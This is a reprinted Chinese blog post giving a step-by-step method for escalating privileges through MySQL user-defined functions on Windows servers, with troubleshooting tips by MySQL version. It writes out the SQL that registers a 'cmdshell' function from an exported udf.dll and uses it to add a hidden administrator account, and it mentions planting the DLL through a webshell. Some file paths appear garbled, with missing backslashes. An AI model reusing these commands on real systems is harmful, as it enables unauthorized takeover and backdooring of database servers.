udf提权方法和出现问题汇总

mac2022-06-30  26

一、适用条件

1.目标系统是Windows(Win2000,XP,Win2003);

2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。

3.有root账号密码

二、导出udf

MYSQL 5.1以下版本导出路径:

C:Winntudf.dll    2000C:Windowsudf.dll 2003(有的系统被转义,需要改为C:Windowsudf.dll)

导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题)

MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数

可以再mysql里输入

select @@basedir

show variables like ‘%plugins%’   寻找mysql安装路径

该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。

三、提权

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

create function cmdshell returns string soname ‘udf.dll’select cmdshell(‘net user arsch arsch /add’);select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

总结:

mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。但是对于UDF的具体限制,MYSQL的各个版本各有不同。 下面记录一下:

在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。

在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL。

在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者,简单的理解就是不能是绝对路径。所以我们将DLL释放到system32目录,来跳过这个限制..或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。

后来发现原来只要把dll放到PATH这个环境变量所表示的任何一个目录下面,效果跟放到system32目录下面一样。

再说MYSQL5.1,这里有个问题相信大家会经常遇到的。。大家有的时候在创建函数的时候,常常会遇到:数据库查讯出错,请检查SQL语句create function cmdshell returns string soname ‘udf.dll’的语法是否正确。Function ‘cmdshell’already exists

官方描述如下:

http://bugs.mysql.com/bug.php?id=15439

Description:Under some circumstances, case handling of UDF names leads to strange behaviour.This can result in a situation where the function can be successfully droppedwithout actually removing the corresponding entry from the mysql.func table.

…………这是因为MYSQL 5.1及以后的版本中,又多了一个限制。创建函数时所用的DLL只能放在mysql的plugin目录里面。。而且这个plugin目录默认是不存在的。。可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。。MYSQL是无法创建目录的, 如果into dumpfile的目标目录不存在是会报错的。

所以在导出UDF提权之前 ,先确定一下MYSQL的版本是有必要的。

如果是5.1以后的,那就不行了,如果是5.1以前的版本创建函数的时候还报Can’t open shared library这个错误。那就要看看DLL是不是真的被导出了,还是被杀软隔离或者干掉了。

转载于:https://www.cnblogs.com/Le30bjectNs11/p/4536063.html

相关资源:JAVA上百实例源码以及开源项目
最新回复(0)